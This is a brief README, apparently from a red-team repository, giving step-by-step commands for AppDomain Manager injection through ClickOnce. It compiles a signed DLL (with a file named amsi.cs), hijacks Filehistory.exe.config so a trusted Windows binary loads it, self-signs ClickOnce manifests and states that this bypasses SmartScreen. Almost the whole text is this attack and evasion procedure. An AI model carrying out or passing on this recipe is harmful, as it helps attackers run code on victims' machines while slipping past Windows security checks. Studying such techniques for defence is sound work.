ClickOnce + AppDomain Manager Injection

Based on https://github.com/Mr-Un1k0d3r/.NetConfigLoader

csc.exe /t:library /keyfile:key.snk /out:uevmonitor.dll uevmonitor.cs amsi.cs

"[System.Reflection.AssemblyName]::GetAssemblyName("uevmonitor.dll").FullName"

uevmonitor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=1bb626af4620f3e6

Add PublicKeyToken to Filehistory.exe.config

makecert -r -pe -n "CN=test" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv cert.pvk CA.cer

pvk2pfx -pvk cert.pvk -spc CA.cer -pfx CA.pfx -po "test"

MageUI.exe

Create application manifest:

Sign and save the application manifest:

Create deployment manifest:

Add the application manifest:

Sign and save the deployment manifest:

Launch the ClickOnce application to bypass Smart Screen: